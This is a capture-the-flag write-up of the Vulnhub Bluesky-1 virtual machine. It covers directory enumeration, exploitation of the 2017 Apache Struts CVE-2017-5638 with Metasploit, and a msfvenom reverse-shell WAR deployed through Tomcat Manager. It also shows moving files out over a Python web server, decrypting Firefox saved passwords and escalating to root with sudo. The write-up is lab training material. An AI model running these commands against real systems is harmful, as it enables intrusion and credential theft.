Vulnhub — Bluesky 1 Write-up

This is a write-up of the Bluesky-1 virtual machine challenge by SunCSR Team. The challenge was completed in Feb 2021.

https://www.vulnhub.com/entry/bluesky-1,623/

What you will learn: Directory enumeration, a famous 2017 Apache Struts vulnerability that led to the Equifax breach, malicious WAR file creation, and Firefox credential cracking.

What you will need: The standard Kali Linux install, Gobuster, a good wordlist for directory enumeration, and Firefox-decrypt.

My Setup: VMware was used for this virtual machine, with both the Vulnhub and attacker machine (mine) set to “Host only” within the network adapter settings.

Let’s get started!

Step 1 — Discovery

Running “ip route” in terminal shows we are on the 172.16.98.0/24 network
As a standard practice, Nmap is run on the target network to identify devices.

sudo nmap -e eth0 -sn 172.16.98.0/24

Step 2 — Scanning and Enumeration

The results of the above scan show the Bluesky target on the IP 172.16.98.130. Now that we know the IP address of of our target let’s use Nmap to perform OS enumeration and scanning of open TCP ports.

sudo nmap -n -O -sV 172.16.98.130

The results are fairly standard, SSH is running on port 22 and a web server on port 8080. Let’s look at the web server in our browser and see what is there.

In your browser visit:

http://172.16.98.130:8080

We find a default landing page for the java based web server Apache Tomcat.

Looking through the landing page there are two items of interest:

1.) A confirmed version of Tomcat (v9.0.40) which would help us significantly if a known vulnerability exists (at the time of writing none does).

2.) The Manager App link is visible which allows a user to attempt a login as an administrator.

As this is a default landing page my assumption at this point is to try default credentials to login. This didn’t work! I expanded my login attempt by using the Metasploit module “tomcat_mgr_login”, which can attempt a broader try of all default Tomcat usernames and password combinations. Still no luck! Not to be outdone, I re-ran Metasploit with all default usernames and my own larger password dictionary. Nope, all failed! Further recon of the default landing page did not lead to anything valuable. Time to take a step back.

Pro tip! Not all wordlists are equal, build quality wordlists for enumeration/cracking as you advance your career.

After more failed attempts to advance than I am willing to mention, I finally had some success with Gobuster and a custom Apache wordlist that discovered a Struts2 installation. None of the default wordlists included with Kali Linux found this directory, which seems to be a common problem other users attempting the VM are having. The important learning point here is don’t just rely on the default wordlists installed with Kali. Build your own from sources that are relevant to what you are testing.

Using Gobuster (or your preferred enumeration tool) I found the following:

gobuster dir -w /home/my_dir-enum_wordlist.txt -u http://172.16.98.130:8080

Viewing this directory in our browser we come to an Apache Struts installation.

http://172.16.98.130:8080/struts2-showcase/

“Struts you say? That sounds familiar” More on this in a second.

Step 3 — Vulnerability Detection

Again, we have a default landing page, but this time no version information or login pages to try. Time to run a vulnerability scan with Nikto and see if anything is found. Copy the full URL from the Apache Struts page and pass it into Nikto.

nikto -h http://172.16.98.130:8080/struts2-showcase/showcase.action

Nikto has done well, looks like the Struts installation is vulnerable to CVE-2017–5638.

A quick web search of the CVE returns A LOT of results. “Oh yea.. Struts.. Equafax… ouch!”

Failure to patch two-month-old bug led to massive Equifax breach

History lesson: In 2017 the company Equafax experienced a data breach due to CVE-2017–5638. Equafax, which is one of the three major credit bureaus in the United States, failed to fix this vulnerability in their Struts2 installation even after it had been patched by Apache months earlier. Although the data from this breach has not been leaked online (as of writing), the result is arguably one of the worst data losses of US citizens to date.

Continuing on…. the Nmap scripting engine (NSE) includes a script named “http-vuln-cve2017–5638” that can verify Nikto’s results to see if the installation is indeed vulnerable.

sudo nmap -p 8080 — script http-vuln-cve2017–5638 — script-args path=/struts2-showcase/showcase.action 172.16.98.130

Looks like we have a vulnerable Struts installation!

Step 4 — Exploitation

Metasploit already includes a module for CVE-2017–5638 with a reverse shell as a payload. See module “struts2_content_type_ognl”. Here is my configuration, just start msfconsle and type the following (Note: your attacker machine’s IP address is the value of lhosts).

use struts2_content_type_ognl
set rhosts 172.16.98.130
set lhost 172.16.98.128 
run

After running the exploit we have established a Meterpreter session and have a foothold into the Bluesky system.

Remember that Tomcat Manager App page? Now that we have a Meterpreter session, let’s check to see what usernames and passwords are configured. Here is where they are stored:

cat /usr/local/tomcat/conf/tomcat-users.xml

Looks liks there is one user of “admin” with a non-default password of “6mzf3>gfZ.pN8_Mp”.

Leaving the Meterpreter session running, let’s go back to our browser and try logging in.

Success!

Now we have a choice to make. While the Meterpreter session is useful for searching through the target system, it is not a full shell and cannot run many commands (such as Python or wget for example) . For that we will need a full shell. With access to the Tomcat Manager App we can likely create a reverse shell using a malicious WAR file with the goal of creating a full shell.

Confused? Here are some good resources on the differences between a dumb and a full shell:
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
https://null-byte.wonderhowto.com/how-to/upgrade-dumb-shell-fully-interactive-shell-for-more-flexibility-0197224/

As for WAR files, a WAR (Web Archive) file is similar to a .ZIP file, as it acts as a container for multiple other files. The contents of a WAR file make up a web application that servers (such as Tomcat) allow users to import for adding new features and functionality. However, in our case with the power to upload a WAR file, we have the power to upload a malicious WAR file which can help us establish a full reverse shell.

Let’s leave the Metatepret session running (in case we need to come back to it) and open a new terminal window to attempt gaining a full shell using a malicious WAR file.

You can easily create a malicious WAR file using msfvenom with the following command. Note: Be sure to substitute the LHOST and LPORT entries with values from your attacker machine.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.16.98.128 LPORT=4444 -f war > reverse_shell.war

In a separate terminal start a netcat listener which will receive our reverse shell connection.

nc -lvp 4444

Now back in our browser inside Manager App, navigate to the section “WAR file to deploy”, click “Choose File”, and select your recently created reverse_shell.war file. Finally click “Deploy”.

After upload you will now see a “/reverse_shell” item inside the Manager App, under “Applications”.

Each time you want to run the malicious WAR file simply click the “/reverse_shell” link. Each time you click the link a new, blank page will open and Tomcat will attempt to connect to your netcat listener. Go ahead and click the link. After a few seconds your netcat listener should now be active.

Inside the netcat window upgrade to a full shell with python.

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

Note: The target system is configured for python3, so all python commands will need to accommodate this.

Step 5 — Post shell reconnaissance

Now that we have a full shell the odds are in our favor for completing this challenge. Running commands such as “whoami”, “pwd”, and “groups” will give you some more information about the target system.

Make a note that after running “groups”, the user minhtuan is a member of group “sudo”, this will be important later on.

groups

Running “ls” we also can see “user.txt”, which is the first flag for this challenge.

It is now time to start digging through the system looking for clues. The first place I choose to look is at the user’s “.bash_history” file to see their terminal command history. You can verify the existence of this file in the user’s home directory with “ls -a” to view hidden files, then “cat” to view the contents.

ls -a
cat .bash_history

There is a lot to cover inside the bash history file. I will break everything down in order of occurrence:

• The user download’s Java using wget and installs it — “Ok makes sense, we need Java for Tomcat”
• The user downloads Apache Tomcat, then Struts2 and installs them — “Again, makes sense”
• The user downloads Apache Maven and installs it — “What is Maven?”
• The user appears to use Maven to configure a web app (myWebApp) in their home directory — “Interesting, will have to remember that”.
• The user finishes configuration of Tomcat and creates a cron job — “The cron job is likely to start Tomcat, but we may need to verify”
• The user installs firefox and xfce — “Probably to visually test the installation”.
• The user cd’s and uses ls in the .mozilla/firefox directory — “That’s odd, what are they looking at there?”
• The user removes a file named velocity.log and then changes their password — “Also interesting”

After reading through the bash history the two items that raise my interest level the most are:
1.) What is the myWebApp, pom.xml, and Maven installation?
2.) What is inside the .mozilla/firefox directly, and why did the user need to look there?

After looking through the “myWebApp” directory I did not discover anything useful and decided to try item #2.

Inside “.mozilla/firefox” there appears to be two directories worth viewing that could contain browsing data.
1. 1snfwp29.default
2. fvbljmev.default-release

Inside the “fvbljmev.default-release” directory we see something interesting.

Notice the “key4.db” file? This is where Firefox stores passwords the user chooses to keep in their browser. Luckily for us there are tools freely available to extract these passwords. Let’s go get key.4db!

Step 6 — Firefox password cracking

One of the easiest ways to get files off a target machine is by using Python to create a temporary web server. I “cd” back to the “./mozilla/firefox” folder and run the following:

python3 -m http.server 8090

Note: Don’t forget our Tomcat server is already running on port 8080, so you can change the port you use to anything but that.

Now in your browser verify you can see the contents of the “.mozilla/firefox folder”.

http://172.16.98.130:8090

Back on our host machine (not the target) open a new shell and “wget” the files from our newly created Python web server.

wget -r http://172.16.98.130:8090/

Next, I chose to use the free tool firefox_decrypt which can be found on Github. https://github.com/unode/firefox_decrypt

This tool will attempt to decrypt key4.db and extract the usernames/passwords inside. Download firefox_decrypt and unzip it. In the following image you can see I have extracted firefox_decrypt to the root folder containing the directory 172.16.98.130, which is the wget download.

Run firefox_decrypt with the following:

python3 firefox_decrypt-master/firefox_decrypt.py 172.16.98.130:8090/

You will be prompted for which profile to use, chose option “2”
You will also be prompted for a master password, just hit “enter” (leave it blank).

firefox_decrypt will extract the following from the key4.db file:

Website: https://twitter.com
Username: ‘minhtuan’
Password: ‘skysayohyeah’

Perfect! We now have a password for user minhtuan.

Two options now, you can return to our shell and keep going, or SSH (remember port 22 is still open) into the target machine (either works). I chose to SSH in.

ssh minhtuan@172.16.98.130

Remember previously that user minhtuan is a member of the sudo group? Now that we minhtuan’s password we can access any content belonging to root.

By executing “sudo” we should be able to view the contents of “root/”.

sudo ls /root
sudo cat /root/root.txt
 
 Amazing, goodjob you!
 Thank you for going here
 
 SunCSR Team

We are done! Thanks SunCSR for the challenge!

Some learning points: A few things that caught my eye while completing this challenge.

1. ) Directory enumeration is important! Having a decent directory list to use is key. If you don’t have a strong directory list here are some suggestions on creating one:
   — Look at SecLists over at https://github.com/danielmiessler/SecLists. This is generally regarded as the best place to start. Pay particular attention to lists containing common installation paths, common web directories, and common software names.
   — Search the Internet for more wordlists and view them in a text editor before including them in your own. Many wordlists on the open Internet are garbage, and full of exposed passwords, URLs, and other items that just take up space and time when performing directory enumeration. Not all wordlits are created equal.
   — Use the tool CeWL, to make your own wordlists from websites. CeWL scrapes data from a website and returns all of the unique strings. This if very helpful if you know your target has a particular interest or software installation (like Apache in the above challenge).
   — Clean your wordlist using wordlist_mod. This is a free tool I have created for removing whitespace, duplicates, and other useless items from a wordlist. You can download wordlist_mod at https://github.com/jhnbsh/wordlist_mod
2. Log data can reveal a lot of useful information to an attacker. The user’s “.bash_history” file was a great pointer on what items to focus attention towards. Keep that in mind on future challenges, and be sure to erase the file periodically on any systems you are responsible for managing.

Hope you enjoyed the write-up! Good luck in your future challenges!